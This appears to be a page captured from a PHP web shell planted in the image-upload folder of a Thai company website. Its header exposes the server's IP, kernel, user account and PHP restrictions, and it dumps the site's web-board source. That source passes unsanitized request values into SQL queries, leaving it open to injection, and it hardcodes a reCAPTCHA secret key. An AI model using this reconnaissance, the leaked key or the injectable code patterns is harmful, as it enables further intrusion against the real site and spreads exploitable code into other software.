|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/stats/../private_html/sweetalert/../loginForm/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="keywords" content="<?php echo $config[web_keywords];?>" />
<meta name="description" content="<?php echo $config[web_description];?>" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<title><?php echo $config['web_title'];?></title>
<!-- favicon icon -->
<link rel="shortcut icon" href="images/<?php echo $config[web_icon];?>" />
<!-- bootstrap -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"/>
<!-- animate -->
<link rel="stylesheet" type="text/css" href="css/animate.css"/>
<!-- owl-carousel -->
<link rel="stylesheet" type="text/css" href="css/owl.carousel.css">
<!-- fontawesome -->
<link rel="stylesheet" type="text/css" href="css/font-awesome.css"/>
<!-- themify -->
<link rel="stylesheet" type="text/css" href="css/themify-icons.css"/>
<!-- flaticon -->
<link rel="stylesheet" type="text/css" href="css/flaticon.css"/>
<!-- REVOLUTION LAYERS STYLES -->
<link rel="stylesheet" type="text/css" href="revolution/css/rs6.css">
<!-- prettyphoto -->
<link rel="stylesheet" type="text/css" href="css/prettyPhoto.css">
<!-- shortcodes -->
<link rel="stylesheet" type="text/css" href="css/shortcodes.css"/>
<!-- main -->
<link rel="stylesheet" type="text/css" href="css/main.css"/>
<!-- responsive -->
<link rel="stylesheet" type="text/css" href="css/responsive.css"/>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"/>
<!-- font -->
<link href="https://fonts.googleapis.com/css?family=Kanit" rel="stylesheet">
<style type="text/css">
body {
font-family: 'Kanit', sans-serif;
font-size: 14px;
}
</style>
<!-- font -->
<script src='https://www.google.com/recaptcha/api.js'></script>
</head>
<?php
include ("Connections/function-sys.php");
$page_data=72;
$sql="select page_name.* from page_name where page_data='$page_data' ";
$arr=$db->getRec($sql);
$page_name=$arr['page_name'];
?>
<body>
<!--page start-->
<div class="page">
<!-- preloader start -->
<div id="preloader">
<div id="status"> </div>
</div>
<!-- preloader end -->
<?php include("header.php");?>
<?php include("BannerHeader.php");?>
<!--site-main start-->
<div class="site-main">
<!-- blog-section end -->
<section style="padding: 50px;">
<div class="container" style="width:95%;">
<div class="row">
<div class="col-md-12">
<!-- section title -->
<div class="section-title text-center with-desc clearfix">
<div class="title-header">
<h4><?php echo $page_name;?></h4>
</div>
</div><!-- section title end -->
</div>
</div>
<!-- row -->
<div class="col-lg-12">
<!-- Start -->
<?php
switch($_REQUEST[action]){
case "Insert2DB":
// ตรวจสอบเมื่อกดปุ่ม และเมื่อส่งค่า g-recaptcha-response มาตรวจสอบ
if(isset($_POST['btn_submit']) && isset($_POST['g-recaptcha-response'])){
$recaptcha_secret = "6LcbtHMcAAAAAGNR14WDuU-oqplrH3bCDjG_ymLI";
$recaptcha_response = trim($_POST['g-recaptcha-response']);
$recaptcha_remote_ip = $_SERVER['REMOTE_ADDR'];
$recaptcha_api = "https://www.google.com/recaptcha/api/siteverify?".
http_build_query(array(
'secret'=>$recaptcha_secret,
'response'=>$recaptcha_response,
'remoteip'=>$recaptcha_remote_ip
)
);
$response=json_decode(file_get_contents($recaptcha_api), true);
}
if(isset($response) && $response['success'] == true){ // ตรวจสอบสำเร็จ
$today=date("Y-m-d H:i:s");
$uniqid = $rand = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ23456789'),0,5);//str_shuffle สับเปลี่ยนตัวอักษรในสตริง ด้วยฟังก์ชัน str_shuffle()
$sql="insert into board (aFrom,aEmail,aTel,aTitle,aDesc,aUrl,aFile,uniqid,empID,statusID,lastupdate,aDate,page_data) values
('$_REQUEST[aFrom]','$_REQUEST[aEmail]','$_REQUEST[aTel]','$_REQUEST[aTitle]','$_REQUEST[aDesc]','$aUrl','$filename','$uniqid'
,'$_SESSION[User_id]','1',now(),now(),'$page_data')";
$db->query($sql);
$msg="ส่งข้อมูลเรียบร้อยแล้ว!";
}else
{
$msg="กรุณาเช็คฉันไม่ใช่โปรแกรมอัตโนมัติ!";
}
echo "<div align=center><strong>$msg</strong></div>";
echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=$_SERVER[PHP_SELF]\">";
break;
default :
if(empty($_REQUEST[page])){
$page=1;
}else
{
$page=$_REQUEST[page];
}
if(!empty($_REQUEST[TxTSeach])){
$Where=" and (board.aTitle like '%$_REQUEST[TxTSeach]%' or board.aFrom like '%$_REQUEST[TxTSeach]%' ) ";
}
echo <<<DOC
<CENTER>
<div style="width:99%">
<form method="post" id="s" action="$_SERVER[PHP_SELF]">
<TABLE style="width:100%">
<TR style="border-color: #FFFFFF">
<TD width="15%"><A HREF="$_SERVER[PHP_SELF]?action=AddForm">
<button type="button" class="btn btn-success btn-sm pull-left"><span class="glyphicon glyphicon-plus-sign"></span> <strong>ตั้งกระทู้</strong></button></A></TD>
<TD width="20%" align="right"><input type="text" class="form-control" name="TxTSeach" placeholder="หัวเรื่อง" value="" style="width:80%;"></TD>
<TD width="1%"> </TD>
<TD width="3%"><button type="submit" class="btn btn-success btn-sm">ค้นหา</button></TD>
</TR>
</TABLE>
</form>
<table class="table table-hover" >
<thead>
<tr class="warning" style="text-align: center">
<th style="text-align: left">รายการ</th>
</tr>
</thead>
<tbody id="myTable">
DOC;
$sql ="select * from board where page_data='$page_data' $Where order by aDate desc ";
$row=$db->recCount($sql);
if($row!=0){
foreach ($db->dbSearch($sql) as $i=>$arr) {
$j=1+$i;
$arr[aDate]=ShowAllDate($arr[aDate],4)." ".substr($arr[aDate],10,10);
echo <<<DOC
<tr>
<td>$j.<A HREF="ShowWebBoard.php?id=$arr[uniqid]$arr[aID]" target="$arr[uniqid]$arr[aID]">$arr[aTitle]</A> <BR><span class="pull-left"style="color:#999999;font-size: 10px;">โดย:$arr[aFrom]<BR>วันที่:$arr[aDate]</span></td>
</tr>
DOC;
}
}else
{
echo <<<DOC
<tr>
<td colspan=13><BR><div align=center><strong>ไม่พบข้อมูล!</strong></div><BR></td>
</tr>
DOC;
}
echo "</tbody>
</table>
</div>
</CENTER>";
break;
case "AddForm":
$action="Insert2DB";
?>
<form id="frm" method="post" action="<?php echo $_SERVER[PHP_SELF];?>" class="form-horizontal pull-center" enctype="multipart/form-data" >
<div class="col-lg-12">
<div class="form-group">
<label class="col-lg-2 control-label">ประเด็น</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="aTitle" placeholder="" value="" autocomplete="off" required />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">รายละเอียด</label>
<div class="col-lg-10">
<textarea name="aDesc" id="aDesc" class="form-control" style="width:100%" rows=5></textarea>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">ผู้ส่ง</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="aFrom" placeholder="" value="" required autocomplete="off"/>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">อีเมล</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="aEmail" placeholder="" value="" autocomplete="off" />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">โทรศัพท์</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="aTel" placeholder="" value="" autocomplete="off" />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label"></label>
<div class="col-lg-10">
<script>
function makeaction(){
document.getElementById('btn_submit').disabled = false;
}
</script>
<div class="g-recaptcha" data-callback="makeaction" data-sitekey="6LcbtHMcAAAAAEQ-gYkLO4b_iMaS-YuOh_MdsR54"></div>
</div>
</div>
<div class="form-group">
<div class="col-lg-11 col-lg-offset-2">
<button type="submit" id="btn_submit" name="btn_submit" class="btn btn-primary" disabled>ส่งคำถาม</button><!-- disabled -->
<button type="button" class="btn btn-primary" onclick="self.location.href='<?php echo $_SERVER[PHP_SELF];?>' ">ยกเลิก</button>
<INPUT TYPE="hidden" NAME="action" value="<?php echo $action;?>">
</div>
</div>
</div>
<!-- <div class="col-lg-12">-->
</form>
<?php
break;
}//ปิด switch?>
<!-- Stop -->
</div><!-- row end -->
</div>
</section>
<!-- process-section end -->
</div><!--site-main end-->
<?php include("footer.php");?>
</body>
</html>